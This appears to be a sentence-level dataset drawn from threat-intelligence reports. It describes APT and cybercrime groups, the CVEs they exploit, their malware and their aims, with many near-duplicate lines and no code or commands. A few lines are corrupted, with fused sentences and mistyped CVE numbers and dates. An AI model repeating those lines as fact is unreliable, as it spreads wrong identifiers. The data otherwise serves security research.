If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowThese include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
PUTTER PANDA are a determined adversary group who have been operating for several years , conducting intelligence-gathering operations with a significant focus on the space sector .
PUTTER PANDA is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Related or not , one thing is certain : the actor ( s ) using these customized BlackEnergy malware are intent on stealing information from the targets .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
In 2014 , Unit 42 released a report titled " 419 Evolution " that documented one of the first known cases of Nigerian cybercriminals using malware for financial gain .
The threat actor attempted to compromise critical assets , such as database servers , billing servers , and the active directory .
The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools .
In order to exfiltrate data from a network segment not connected to the Internet , the threat actor deployed a modified version of hTran .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
The attackers involved in these email campaigns leveraged a variety of distribution mechanisms to deliver the information stealing FormBook malware .
We have previously observed APT19 steal data from law and investment firms for competitive economic purposes .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
Since May 2017 , Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds .
Russian cyber espionage actors use zero-day exploits in addition to less complex measures .
If the attackers are attempting to compromise persons involved in SEC filings due to their information access , they may ultimately be pursuing securities fraud or other investment abuse .
The HawkEye malware is primarily used for credential theft and is often combined with additional tools to extract passwords from email and web browser applications .
HawkEye is a versatile Trojan used by diverse actors for multiple purposes .
In this blog we provide insight into the tactics , techniques and procedures (TTPs) of a Brazilian cyber crime group that specializes in payment card fraud operations .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Once in their possession , the actors use these compromised payment card credentials to generate further card information .
The members of the group use a variety of tools , including CCleaner , on a daily basis to effectively remove any evidence of their operations .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Based on our observations , this group uses a variety of different methods to either compromise or acquire already compromised payment card credentials .
Similarly , the group takes advantage of freely available consolidations of email credentials , personal information , and other data shared in eCrime forums for fraud purposes .
These actors scan websites for vulnerabilities to exploit to illicitly access databases .
The group also uses the SQL injection (SQLi) tools Havij Advanced SQL Injection Tool and SQLi Dumper version 7.0 (Figure 4) to scan for and exploit vulnerabilities in targeted eCommerce sites .
Once in possession of compromised payment card credentials , these actors use tools commonly known as card generators to generate new card numbers based on the compromised ones , creating additional opportunities for monetization .
The actors frequently use the stolen data to create cloned physical cards , which they use to attempt to withdraw funds from ATMs .
The group primarily uses the MSR 606 Software (Figure 12) and Hardware (Figure 13) to create cloned cards .
However , Brazilian actors commonly use several methods to do so , such as reselling cards they have created , paying bills with stolen cards in return for a portion of the bill's value and reselling illicitly obtained goods .
The individuals using Hancitor malware also known by the name Chanitor are no exception and have taken three approaches to deliver the malware in order to ultimately steal data from their victims .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
According to Wikipedia , the CSS was formed in 1972 to integrate the NSA and the Service Cryptologic Elements ( SCE ) of the U.S armed forces .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
Emotet is a type of general-purpose malware that evolved from a well-known banking Trojan , " Cridex " , which was first discovered in 2014 .
It seems that the main objective of the attackers was information gathering from the infected computers .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
The group exploits known vulnerabilities in Microsoft Office products to infect their targets with malware .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
Like many such groups , PLATINUM seeks to steal sensitive intellectual property related to government interests , but its range of preferred targets is consistently limited to specific governmental organizations , defense institutes , intelligence agencies , diplomatic institutions , and telecommunication providers in South and Southeast Asia .
LATINUM makes a concerted effort to hide their infection tracks , by self-deleting malicious components , or by using server side logic in ' one shot mode ' where remotely hosted malicious components are only allowed to load once .
PLATINUM does not conduct its espionage activity to engage in direct financial gain , but instead uses stolen information for indirect economic advantages .
PLATINUM uses a number of different custom-developed backdoors to communicate with infected computers .
The lack of any significant evidence of shared code between any of these backdoor families is another clue as to the scope of the resources on which the activity group is able to draw , and the precautions the group is willing and able to take in order to avoid losing its ability to conduct its espionage operations .
PLATINUM has developed or commissioned a number of custom tools to provide the group with access to victim resources .
The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia—PLATINUM is known to customize tools based on the network architecture of targeted organizations .
The PLATINUM tool is , to our knowledge , the first malware sample observed to misuse chipset features in this way .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
But according to Gnosticplayers , his foray into a public marketplace like Dream has two goals --besides the first and obvious one being money .
However , CTU analysis indicates that GOLD LOWELL is motivated by financial gain , and there is no evidence of the threat actors using network access for espionage or data theft .
The targeting of an organization rather than individuals , and the high ransom demands , made BitPaymer stand out from other contemporary ransomware at the time .
Ransom demands have varied significantly , suggesting that INDRIK SPIDER likely calculates the ransom amount based on the size and value of the victim organization .
Since they were first identified in January 2-16 , this adversary has consistently targeted large organizations for high ransom demands .
The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud , through the use of webinjects and a malware distribution function .
Instead , OurMine had managed to alter WikiLeaks 's DNS records ( held by a third-party registrar ) to direct anyone who tried to visit wikileaks.org to visit a different IP address which definitely wasn't under the control of Julian Assange and his cronies .
Alternatively , OurMine might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Alternatively , the attackers might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
The group 's primary goal is demonstrating to companies that they have weak security .
The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines .
It is worth noting that during our investigation f-secure uncovered links between infrastructure associated with the Callisto Group and infrastructure used to host online stores selling controlled substances .
The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal .
The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server .
First , the attacker’s mission is to disrupt an operational process rather than steal data .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the way for later potential ICS events .
FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
Attackers can point and click their way through a compromised network and exfiltrate data .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations .
In addition to stealing keystrokesNaikon also intercepted network traffic .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
The ultimate objective of targeted attacks is to acquire sensitive data .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
Dragos does not corroborate nor conduct political attribution to threat activity .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
